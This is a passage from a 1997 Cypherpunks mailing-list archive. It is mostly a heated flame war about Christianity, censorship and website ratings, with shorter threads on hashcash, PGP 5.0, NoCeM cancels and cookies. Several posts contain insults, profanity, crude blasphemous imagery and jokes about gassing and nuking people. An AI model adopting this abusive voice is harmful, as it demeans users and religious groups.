Ah, yes, but the constitution also has a thing on seperation of church and state, or did you fail to read the words?

>Considering the apparent ignorance you have
>displayed thus far about the makeup of the US, I would venture to say
>that you probably have not read it. Next, you attack christians for
>trying to control the content made available on the internet.

The Christian Coalition (The Happy Nazi's), is one major group trying to censor information, becuase they and their mythical god think that it's right.  Forcing your beliefs on others in fascism, and never was right.

>At least
>the site ratings plan is better than alot of other plans I have seen.
>Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
>the spread of trash that *most* humans would want out of of the reach of
>their children?

Monitor the kids web access, or do your job and be a parent.

>I have not seen you *once* offer a straightforward clear
>cut plan to efficiently handle *any* issue placed for discussion on this
>listserv. I have seen you do nothing but slam, belittle, and degrade
>others and their beliefs and ideas.

I've only seend TM degrade Anti-Crypto persons, fascists, Censorous Christians, and other like those groups who fight to usurp our constitution.

>You do this under the unimpressive
>tag of "TruthMonger". If anything, you are anything but a TruthMonger.

I find his posts suprisingly true, if anything else.

>When you can come up with a plan that even *remotely* seems like a
>logically thought out, planned, and intelligent proposal on how to
>handle the issues presented everyday on the internet that affect the
>computing industry balanced with a concern for the children, then I will
>listen. (And yes, I do agree that the parents of the children have an
>obligation to monitor the content they are exposed to. It's called
>responsible parenting which unfortunately is not a well practiced
>ideology.

Therefore, if you bitch about your kid going to www.porn.com while you where out eating with friends, then that person would be a neglectful parent.

>And to take the wind out of your sales, I have 2 children and
>as a parent I limit them to what is appropriate to their ages.)

What does that encompass?  Do you supress web pages advocating safe sex because it may corrupt their minds?  Tell me, SuperDad (R), how do you manage to raise your kids perfectly?

>Until
>such time as you can fulfill the obligations to us,

TruthMonger isn't obligated to do anything, and he owes you nothing, dumbass.

>the adult computing
>population, and our offspring, the children (just in case your fuddled
>mind does not know what they are), I suggest you rest those busy little
>fingers of yours and listen to the underlying theme of the issues before
>us. Until then, HateMonger, I have one suggestion for you..... Shut Up!

Oh, so we're a censorous Nazi Ratfucker, are we? Let me tell you something, Downey, don't tell other what to do, TM has every right to post as you do.  So if you don't like his posts, you aren't obligated to read them in the first place.  If it offends you, don't look at it in the first place.  Such a simple thing for such a powerful mind like yours to look over.

As for your forcing morals down our throats all I can say is

"Your God is DEAD, and no one cares!!!  If there is a hell, I'll see you there!!!" - Nine Inch Nails "Heresy"

From alan at ctrl-alt-del.com  Fri Aug  8 16:51:31 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Sat, 9 Aug 1997 07:51:31 +0800
Subject: Did anyone archive MPJ's site?
In-Reply-To: 
Message-ID: 

On Fri, 8 Aug 1997, Ariel Glenn wrote:

> I got parts of it but am missing much of the PGP and almost all of PGP
> tools :-(
> 
> I am hoping someone else got those parts. Otherwise I can get some of
> it from MIT, I suppose...

I offered to mirror it.  The site is set up for uploads.  I hope it is not
too late.  (I did not realize it was going to vaporize that quick.)

If he has backups and/or can get the files loaded on my system, the offer
to host the archive still stands.  (Also, if someone else has the files,
it can be put up on the server.  I cleared 350 megs for it...)

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.

From jf_avon at citenet.net  Fri Aug  8 16:53:28 1997
From: jf_avon at citenet.net (jf_avon at citenet.net)
Date: Sat, 9 Aug 1997 07:53:28 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <199708082324.TAA26057@cti06.citenet.net>

On  8 Aug 97 at 18:26, David D.W. Downey wrote:

>  Next, this country was founded on christian beliefs, or have you
> failed to read the words of the constitution of the US.

Comments from Canada: Libertarians usually attibutes the reference to
the christian cult in the US constitution  as some sort of
psycho-epistemological failure or ill-weighed concession to the
peoples beliefs of the time.  IMO, it is a major flaw that led to
the actual state of affairs.   Causes have effects.  A is A and you 
cannot run away from the Nature of things.

> Considering the apparent ignorance you have
> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it. Next, you attack christians for
> trying to control the content made available on the internet. 

Factually, they are one hell of a big pressure group trying to ram 
their personnal convictions down the throat of others, with a 
legalized gun to back them up.  I don't ask that you love eating 
Cheez-Whiz with corn syrup and peanut butter with a dash of Tabasco 
sauce so don't ask me to start eating your stuff.

> At least
> the site ratings plan is better than alot of other plans I have seen.

I would be surprized.  Ultimately, in their deep nature, they are all 
as evil.  A is A.  You will not, in the long run, be able to avoid 
the effects of their nature.

> I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas.

The degradation perceived by whom?  He might be slightly harsher than 
others, but you discount the good laughs that it also gives to some 
others.  Actually, you should rejoice at 'Monger's opinions; 
doesn't your code of moral preach spreading the well of others at the 
expense of your own?  If not, then, tsk tsk tsk...

> You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.

> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to

Sorry, but you disqualify for such thing.  The psycho-epistemology 
of religions makes it impossible.  Your axiomatic belief of God 
invalidates all logics.  Therefore, each time you request a 
"logically thought out" explanation, you commit the act of concept 
stealing, i.e. you use the end result of a philosophy to try to 
invalidate it.  But you know, what you saw in cartoons, the vacuum 
cleaner sucking itself into nothing or the snake eating it's tail and 
disappearing, it just doesn't exist...  Reality (with a capital R) 
doesn't work that way.  Sorry.

> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen.

You mean, "to get a ride on the gravy train, enforced under the 
treath of violence at the point of the governmental gun" ?

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. 

Again, instead of using "moral duty", you use the word, "obligation".
Coercion galore!

> It's called

... according to some standards...
> responsible parenting 

Here, I tend to agree on your sentence but I have a hunch that our 
basic justifications are quite far...

Morality, according to cultists, is to be defined by the 
worshipped entity.  To free-living rationnal individuals, it should 
be defined according to the most accurately understood Nature of Man.

Most observer of the later would agree that parental supervision is 
necessary.  But also, most of thoses parents would agree that Freedom 
is required for man to live as Man, i.e. as a rationnal animal.

[This paragraph left intentionally unfinished]

> which unfortunately is not a well practiced
> ideology. 

Why "unfortunately" ? because it doesn't not suit your teleological 
slave mentality or because you truly care about other young Human 
Animals?  Personnally, it is because of the later reason.

> And to take the wind out of your sales, I have 2 children and

the relevancy of this disclosure baffles me.

> Until
> such time as you can fulfill the obligations to us

Who proclaimed such obligation?  The whole attempt at censorship is 
an attempt to make peoples accept this "obligation".  There is no way 
to bring a slave out of slavery when they willingly forge their own 
chains...

> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are)

Here is a long term solution that would solve the problem definitely: 
to promulgate that everybody being offensed by the content of the net 
gets neutered.  That way, they won't have to worry about their 
children's viewing habits...

The acceptability of this solution passes all the tests that the one 
you propose does.  

If you have any arguments that does not have at it.s base, the 
negation of Reason, i.e. non-contradictory identification, then, give 
it your best shot.

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C

From kent at songbird.com  Fri Aug  8 17:05:26 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 9 Aug 1997 08:05:26 +0800
Subject: some hashcash advocacy
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <19970808165350.55775@bywater.songbird.com>

On Fri, Aug 08, 1997 at 10:45:29PM +0100, Adam Back wrote:
[...]
> I wasn't talking about remailers above, but about end users.  Hashcash
> allows the recipient to filter out email that hasn't got postage.

Ie, hashcash is a fancy techie oriented self-labelling technique.  :-)

I didn't read the code, but it seems that the double spending
protection is just local to the recipient (ie, there isn't a trusted
central clearinghouse that checks against double spending on a global
basis).  Thus, a spammer could calculate postage for a message, then
send 100000 copies.  Hashcash would guarantee that each user only got
one copy, but there are easier ways to do that.  [If the checking was
done at an ISP level, of course, only one message would get through. 
But that requires widespread deployment at the ISP level, not the
individual user level, and checking at the ISP level requires
that the ISP keep a database of users mail preferences.]

But without a central clearinghouse hashcash seems useless to me as a 
means of combating spam.  And of course, a central clearinghouse 
brings up a whole raft of other issues concerning trust and so on...

[...]

> You could auto-add anyone you ever manually replied to to the
> no-postage list even.

I would rather pursue a "tit-for-tat" strategy for email, but
unfortunately tit-for-tat requires stable identities... 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From tm at dev.null  Fri Aug  8 17:13:15 1997
From: tm at dev.null (TruthMailer)
Date: Sat, 9 Aug 1997 08:13:15 +0800
Subject: Christian CypherPunks / Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708082338.RAA17953@wombat.sk.sympatico.ca>

David D.W. Downey preached hate and intolerance by saying:
> Considering the apparent ignorance you have
> displayed thus far about...

  I have not yet _begun_ to display my true ignorance.

> ...the makeup of the US, I would venture to say
> that you probably have not read it. 

  Silly me. I thought it guaranteed freedom _from_ religion. That's 
the last time I ask "? the Platypus" to read something and give me
a summary of it..

> Next, you attack christians for
> trying to control the content made available on the internet.

  Thanks for at least being honest enough to admit it. I don't attack
Christians for speaking their mind, I attack them for lying through
their fucking teeth about their motives and intentions.
  I have no problem with Christians wanting to take firm control of
their environment, but I object to them wanting to take control of
_my_ environment. You might think there is a need for more Christian
CypherPunks, while I think that there is a need for more CypherPunk
Christians. (And Mike Duvos thinks there is a need for more lions.)
  If you take the time to read "The _Really_ Big Lie," which has all
of the original post, instead of the one that the God/Dog of mirrored
remailers was so rude as to edit with a lightning bolt, it might be
slightly more clear that my rabid vendetta is not against a particular
point of view, but against hypocrisy and oppression.

> At least
> the site ratings plan is better than alot of other plans I have seen.

  Yes, it is. And it still sucks, as do the available Search Engines.
When was the last time you bought a Bible that had an index which 
showed 5,000 references to "he lifted her skirt, and knew her," for
every reference it has to "I AM."
  What we have in common is that you don't want to have Little Johnny
do a search for "Jesus" and get 5,000 sites with pictures of Jesus
shoving a crowbar up his ass, and I don't want to try to find a site
to buy a crowbar to work on my house and get 5,000 sites with pictures
of Jesus shoving a crowbar up his ass.
  My point is that I don't object to you supporting InterNet tools
which allow you to screen out pictures of Jesus with a crowbar up
his ass, but I object to a "quick and easy" solution which blocks
out all sites with a reference to "crowbars," because one guy in
Toledo "used to have" a site with a single picture of Jesus with
a crowbar up his ass.

  I would genuinely like to see more CypherPunk Christians. I would
like to see them write code which you can use to "block" access to
certain sites, and which I can use to "gain" access to certain sites.

> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children?

  Burn all the Bibles. (Thought you had me on that one, didn't you?)

> I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv.

  Tim May has already suggested that we, "Nuke D.C.", so any valid
solution to society's problems would merely be a plagarism of Tim's
stance. I just try to fill in the whitespace between Tim's posts.

> I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas.

  I don't subscribe them to the CypherPunks list, I just turn on
the gas...

> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen.

  If you would listen to the *intelligent* proposals of rational, sober
people who are capable of sustaining a logical train of thought (such as
Declan McCullagh, Tim May, Blanc, and snow--to name but a few), and 
reply to them, then I would not have to suffer the indignity of
foregoing
taking my medicine in order to let my Tourette Syndrome and Obsessive
Compulsive Disorder get so far out of hand that people such as yourself
will feel threatened enough to shake themself out of their robotic
slumber and contribute their knowledge, viewpoints and wisdom to the
CypherPunks list.
  Listen up, shit for brains, I am about to follow this insult with a
compliment...

  I enjoyed your post! It is refreshing to hear someone defend their
faith using their own logic, intellect and thought, without merely
resorting to meaningless platitudes such as "God is Love" or "Patience
comes to those who wait."
  I don't have a "problem" with Christians, and I don't have a "problem"
with anarchists. I have a problem with people who begin a sentence with
the words, "EVERYBODY KNOWS..." Well, Lou Reed doesn't "know," although
he wrote a great song making fun of those who _claim_ to "know."
{If anybody on the list has his album, please post the relevant quotes.}

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.)

  The word is "sails," not "sales," you illiterate piece of crap who
accused me of going out of my way to "slam, belittle, and degrade
others" on the list.
  Why don't you get "? the Platypus" to teach you how to spel?

> Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children...

  Unless you have a valid signature of mine on a contract, I do not
believe that I am under any obligation to kiss your self-righteous,
Christian fucking ass.
  As a matter of fact, since I am every bit as immature as your saintly
children, I believe that the onus is on you to "protect" me from the
"immature-adult" molesters and the licensed doctors who prescibe the
same drugs for me that I used to get illegally from "drug dealers."

>  I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us.

  Don't talk while I'm interupting. It's rude.

>Until then, HateMonger, I have one suggestion for you..... Shut Up!

  I have to concede your point, here. I obviously need to be spanked.
How's your schedule look for next Friday?

TruthMonger
"Mad dog in possession of the last false smile."

From jrennie at hardy.ocs.mq.edu.au  Fri Aug  8 17:27:02 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Sat, 9 Aug 1997 08:27:02 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: 

Well i was a amused and i'm a Christian. Pity the $%&#wits in the 
Christian right in America give real Christians such a bad name. Unlike 
truthmonger seems to think not all Christians are goosesteping fascists 
who like to bugger little kids for fun and profit. Sadly i guess as long 
as the fascists claim to be Christians, and try to get everybody to 
confrom to thier beliefs this sort of post will be in some ways accurate.

Jason

From mnorton at cavern.uark.edu  Fri Aug  8 18:17:48 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sat, 9 Aug 1997 09:17:48 +0800
Subject: Christian CypherPunks / Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708082338.RAA17953@wombat.sk.sympatico.ca>
Message-ID: 

What we have below is crude but effective.  It is a rhetorical
crystallization of a point of argument that is persuasively, but
somewhat offensively, put. The offensiveness increases the 
persuasive force, in this particular case, by its attention-
getting "shock" value. 

So here's the thing that occurs to me:  This passage would
be "censored" by the devices against which it argues. Do you want
your nine-year-old to read this passage after returning home from
vacation bible school?  Probably not.  Do you really mind if you
fifteen-year-old reads it after asking you what is this debate
all about anyway?  Maybe not.

Consider it then as not only a rant against over-inclusive 
filter/blockers but as an illustration of the very problem it
tries to address.

MacN

On Fri, 8 Aug 1997, TruthMailer wrote:

>   What we have in common is that you don't want to have Little Johnny
> do a search for "Jesus" and get 5,000 sites with pictures of Jesus
> shoving a crowbar up his ass, and I don't want to try to find a site
> to buy a crowbar to work on my house and get 5,000 sites with pictures
> of Jesus shoving a crowbar up his ass.
>   My point is that I don't object to you supporting InterNet tools
> which allow you to screen out pictures of Jesus with a crowbar up
> his ass, but I object to a "quick and easy" solution which blocks
> out all sites with a reference to "crowbars," because one guy in
> Toledo "used to have" a site with a single picture of Jesus with
> a crowbar up his ass.

From ravage at ssz.com  Fri Aug  8 18:20:12 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 9 Aug 1997 09:20:12 +0800
Subject: The BIG Lie (Jesus Confesses) (fwd)
Message-ID: <199708090112.UAA12633@einstein.ssz.com>

Forwarded message:

> On  8 Aug 97 at 18:26, David D.W. Downey wrote:
> 
> >  Next, this country was founded on christian beliefs, or have you
> > failed to read the words of the constitution of the US.

Malarky, the country was founded on the belief in a God not a Christian god,
considering that Washington and Jefferson were not even Christians pretty
much blows that whole Christian promulgated lie.

Washington and Jefferson were deist.

> Comments from Canada: Libertarians usually attibutes the reference to
> the christian cult in the US constitution

At no point does the Constitution ever mention Christ.

Typical Christian attitude, preach but don't worry about practicing it.

And just in case you haven't got the clue yet, I will spell it out. There
are MANY groups who believe in a God. Very few of them believe Christ was
the son of God and our saviour.

I am a Pantheist, I believe in god but I can guarantee it bears absolutely
no resemblance to the Christian god. This realization was the whole point of
seperation of church and state and my god given right to practice my beliefs
even if they aren't rights given by YOUR god.

You need to retake Spin_Doctor_101 if you are going to try to pull that
sort of wool over peoples eyes ...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From dlv at bwalk.dm.com  Sat Aug  9 09:31:56 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 09:31:56 -0700 (PDT)
Subject: REPOST : Un-forgeable Cancels
In-Reply-To: <12952.9708081327@misun2.mi.leeds.ac.uk>
Message-ID: 

jbaber at mi.leeds.ac.uk writes:

> From what I can see (the full README is unavailable) PGPMoose is designed
> to Cancel messages in a moderated newsgroup that have not been approved by
> the moderator - by using PGP sigs to authenticate the approval.
>
> see http://people.qualcomm.com/ggr/pgpmoose.html

Given that Qualcomm employs Paul Pomes, who harrasses anonymous remailer
operators by complaining to their upstreams and employers, I advise you
to be wary of anything coming out of Qualcomm - like their Eudora mail reader.

> This could be modified for general cancels but would then involve PGPMoose
> having access to every authors Public Key.

A program that would search the news for articles that purport to be from
people who requested this service (and may be paying for it), verifying
their digital signatures, and issuing "hide" NoCeMs for the ones that fail
this check (possible forgeries) would be a good thing indeed and would
encurage the use of digital signatures.

As I pointed out before on the Cypherpunks list, signing only the body of
the article leaves one open to replay attacks: a forger can repost the
same signed article with new message-id and possible in new newsgroups.
Therefore at least both of these header fields need to be signed.

Perhaps the folks who participate in Brad Templeton's "son-of-rfc1036"
mailing list would like to propose a generaliaztion of the new headers
used by pgpmoose to sign the headers of an article together with it body.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From amp at pobox.com  Fri Aug  8 18:32:57 1997
From: amp at pobox.com (amp at pobox.com)
Date: Sat, 9 Aug 1997 09:32:57 +0800
Subject: PGP 5.0 Questions
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I've been digging through the PGP 5.0 documentation to figure out how
to do a few things, and I have a few questions for those of you who 
might know about such things.

I'm using the freeware version at the moment, though if I can show the
benefit and ease of use of the software, my department at work will be
buying a copy for each of us.

To quote the documentation...
"PGP offers a selection of different secret-key algorithms to encrypt
the actual message. By secret key algorithm, we mean a conventional,
or
symmetric, block cipher that uses the same key to both encrypt and
decrypt. The three symmetric block ciphers offered by PGP are CAST,
Triple-DES, and IDEA."

I can not figure out how to make PGP encrypt a message with a
'conventional' such as 3-des. Is this only available in the commercial
version? 

When invoking PGP against a file, as opposed to the clipboard, is
there a way to tell it to ascii-armor the resulting encrypted file by
default?

The documentation leaves much to be desired along these lines. It is
somewhat useful as a primer on crypto and some of the issues involved,
but I already am familiar with all that. I just want to know how to
use the program to make it do what I want. I kinda miss the command
line interface, and simple help screen invoked with "pgp -h". I
realize I could still make use of pgp 2.x, but I need something
windows-simple for the folx at work.

Any assistance would be greatly appreciated.

alan

- ------------------------
Name: amp
E-mail: amp at pobox.com
Date: 08/08/97
Time: 20:08:38
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

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From ravage at ssz.com  Fri Aug  8 19:05:13 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 9 Aug 1997 10:05:13 +0800
Subject: Book recommendation
Message-ID: <199708090155.UAA12755@einstein.ssz.com>

Hi,

Not really crypto relevant but it does cover many other issues that get
covered here regularly.

Maximum Security: A hacker's guide to protecting your internet site
                  and network
Anonymous
ISBN 1-57521-268-4
$49.99 (w/ CD)

Covers Microsoft, Unix, Novell, VAX/VMS, Mac, Plan 9 hacking techniques.

"The author is an experienced computer hacker who now specializes in testing
the security of various networking platforms by breaking into computer
networks and subsequently revealing what holes led to the unauthorized
entry. In the late 1980's, the author was convicted of a series of financial
crimes after developing a technique to circumvent bank security in automatic
teller machin systems; he therefore prefers to remain anonymous."

LLoyds' (The Mentor) "Hacker Manifesto" is included on the inside cover.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

ps it just occurred to me that being written by anonymous will cause this
   book to show up in lots of porno books on a author search, poetic
   justice or masterful craftsmanship?

From nobody at REPLAY.COM  Fri Aug  8 19:48:13 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 10:48:13 +0800
Subject: jThe BIG Fly / Re: The BIG Lie (Jesus Confesses) (fwd)
Message-ID: <199708090224.EAA14051@basement.replay.com>

Jim Choate wrote:
> I am a Pantheist, I believe in god but I can guarantee it bears absolutely
> no resemblance to the Christian god. 

  I am a Frisbeetarian.
  I believe that when you die, your soul goes up on the roof,
and you can't get it down.

LassieMonger

From dlv at bwalk.dm.com  Fri Aug  8 20:30:36 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 11:30:36 +0800
Subject: Query on cookies
In-Reply-To: <199708081336.GAA04744@toad.com>
Message-ID: 

"Peter Trei"  writes:
> Well, I'm using version 4.01a for NT. There are three settings for
> cookies:
>
> 1. Accept all cookies.
> 2. Accept only cookies which get sent back to the originating server.
> 3. Disable cookies.

Does #2 mean that if your "main" page is from d1.com and it calls something
from d2.com that tries to set a cookie for d2.com, it's not allowed?
What if it's in a frame?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From dformosa at st.nepean.uws.edu.au  Fri Aug  8 20:57:48 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 9 Aug 1997 11:57:48 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> > What if the message is
> > forged in such a way that it looks exactly as if it came from you?
> 
> Ditto, and consider setting up a service to automatically issue NoCeMs
> for forgeries.

In fact consider setting up a service to automatically issue NoCeMs for
bad pgp sigs.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Fri Aug  8 21:04:22 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 9 Aug 1997 12:04:22 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970808003832.21296@bywater.songbird.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Kent Crispin wrote:

> On Thu, Aug 07, 1997 at 10:00:25PM -0500, Dr.Dimitri Vulis KOTM wrote:

[...]

> > Use a retraction server (David's project)
> 
> Just curious -- how would this be morally different from doing a
> cancel?

Well NoCeMs are harder to abuse, in addtion there are thay can be treated
more flexibly then the blunt interestrment that are cancels.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From admin at CyberSpaceTechnologies.com  Fri Aug  8 21:25:58 1997
From: admin at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Sat, 9 Aug 1997 12:25:58 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EC2214.6BEA2C9A@cyberspacetechnologies.com>

>Paul H. Merrill wrote: 
> judeo-christian isn't a religion.  Christian is.
> 
Judeo- Christian is a subsect of Christianity in it's generic form.
(Both my parents are ministers, and this has been drilled into my head.)

> I have read the Constitution and the history behind it.  >The US was founded by people trying to escape religious >persecution and/or trying to get rich.  In case you can't >figure it out, forcing your views down my throat IS >religious persecution -- exactly the same sort that sent
> the Pilgrims off on the Mayflower.
> 
1) I am not forcing my beliefs down *anyone's* throat. I do not seek to
control but to inform. As to the constitution, I served 8 years in the
military so I have a pretty good idea of what it does and does not mean.
I do not advocate internet control to the point of demanding that site
rankings or any such become mandatory. I do however agree that if we can
not police ourselves then this should be a warning that others may do it
for us. When the Protestants (originally the Quakers), came here, you
are correct in why they did come here, yet they also agreed among
themselves to police their actions themselves. This is something we are
failing to do. We are allowing stuff that children need not to see at
certain ages to proliferate all in the name of "If we don't allow this
freedom of expression to take place, it sends a signal that *all*
freedoms are up for grabs." That is simply not true. What is being
proposed is that a little common decency be exerted. After all, these
are children we are talking about. They do not have the capacities that
we do to process all information relating to certain issues. We have
experiences on our side that children do not, just through sheer lack on
their part of numbers of years on this planet. I mean are you really
suggesting that a child has the cognative abilities, at say the age of
6, to understand and make an informed opinion about sex with an older
person? I hope not! I mean, let's be realistic here. We have knowledge
gained thru living that children do not. I am in no way suggesting that
we blindly stuff all things remotely offensive off the net. I am saying
let us be responsible enough to give this information to our children in
doses they can handle. And yes, I will be the judge of what I feel my
children can handle. What is so wrong with adults putting a statement on
their sites that say, Hey parents, there *may* be info here that you
might want to be aware of for the kids' sakes.?

> That statement is somewhat similar to saying that if you >don't like your chains you are free to suggest the stocks >or perhaps rope.
> 
No, what I am saying is that if he doesn't like what has been proposed
to suggest an alternative in an adult fashion. I don't see how slamming
and belittling helps discussions.

> As long as the scum that gravitates toward LEAs and the >Government continue to do so it is relatively stupid to >express (or defend) views outside the accepted norm in an >open fashion.  (I guess that makes me sorta stupid, huh?)
> 
Not true. I will never agree with what our government proposes. In fact
I have an entire website dedicated to going *against* what the current
government proposes. I do not believe in the taking away of rights or
the forcing of a country's people to *have* to do half of what the
American government proposes. What I do suggest is that we, as a
community, need to look to ways that we can balance these issues out in
a manner that is agreeable to all involved. Inflammatory attacks,
degradation of someone based on cultural or religious beliefs has no
place in the discussions. The only reason I flamed at TruthMonger is
because I have only seen postings from that person that violates that
very critical issue. Everyone has the right to their opionions right,
wrong or otherwise. I just got sick of hearing him flame everyone with a
contrary view. And he seems to do this under the suggested banner of
truth. That I do not agree with. I don't condemn him for his views. They
are just as important as mine. I condemn his actions in slamming others
for not agreeing with *him*!

> I have two of my own and I don't see how "protecting" them >in the ways that you seem to like would do anything other >than warp their worldview to such a level that they will be >esay prey for whatever scum they run into in the meatworld.
> 
There is a difference between warping their views and ensuring that they
are mentally able to engage themselves in these issues. The issues that
befall each of us require an ability to see deeper into the causes,
actions and reactions of those with whom we interact. We have many
things, as adults, that we can bring to the tables of rationality and
discussion due to the fact that we learned through prior experiences.
Each and every one of us have sought guidance on any myriad of issues.
We are leaving a confusing mess for the next generation. I am just
saying that we may need to band together to give all of us some sort of
cue card as to what issues may be faced at various stops along the way
as we ride the information highway.

> I don't know about TruthMonger but I did listen to the >underlying theme of the issues before us and I found that >it was actually scum-suckers and other bottom feeders >trying their damnedest to steal my freedom. That's why I'm >typing here and now.
> 
I will grant that there are some out there that advocate the taking away
of rights. I am not one of them. I have bullet holes in me because I am
willing to put my life on the line for freedom and rights. I don't agree
with alot of what hardliners have to say. But they also have a say in
this. I will defend my rights and the rights and freedoms of others with
my last breath if need be. All I am saying is that there is a
constructive way to do things. Let's do it that way. I am no stranger to
being a politician's trump card to be played when all else fails to get
folks to listen at the talk tables. That is the very nature of
soldiering. Yet,  I also am not afraid to turn what I learned from them
against them if they should so force that issue. In short, yes, I will
use violence if *all* else fails to get them to listen to reason. But
that is after exhausting all other avenues of approach. The reason I
slammed "TruthMonger", is because I have yet to hear anything from him
other than pure rhetoric and inflamation. I am willing to listen to what
he has to say. Provided that he at least has some meat to his words, not
libel and slander. These solve nothing, and contribute even less.

> The hatemonger that I see in this interchange is not >TruthMonger and it's not me -- Let's see, I guess that >leaves . . .
> 
Everyone is entitled to their own opinion. If you feel that I am a
HateMonger, you are entitled to that opinion. I am entitled to my
opinion that TruthMonger is anything but a TruthMonger, but is a
HateMonger. I will defend both your and mine opinions. I believe in the
ability to agree to disagree. I agree. I may have been hotheaded and
gone too far in my last email. For that I will apologize, both to
members of this list, as well as TruthMonger. I will not apologize for
my opinion of him.

From admin at CyberSpaceTechnologies.com  Fri Aug  8 22:21:43 1997
From: admin at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Sat, 9 Aug 1997 13:21:43 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708082242.AAA20104@basement.replay.com>
Message-ID: <33EC319A.4B93198@cyberspacetechnologies.com>

Before we go on with this, let me just say that I disagree with alot of
the "christianity" presented in today's world. I go to no church, for
which my parents do indoubtably lament emensely. (They are both
ministers. Ironic) I am open to many different views. My best friend in
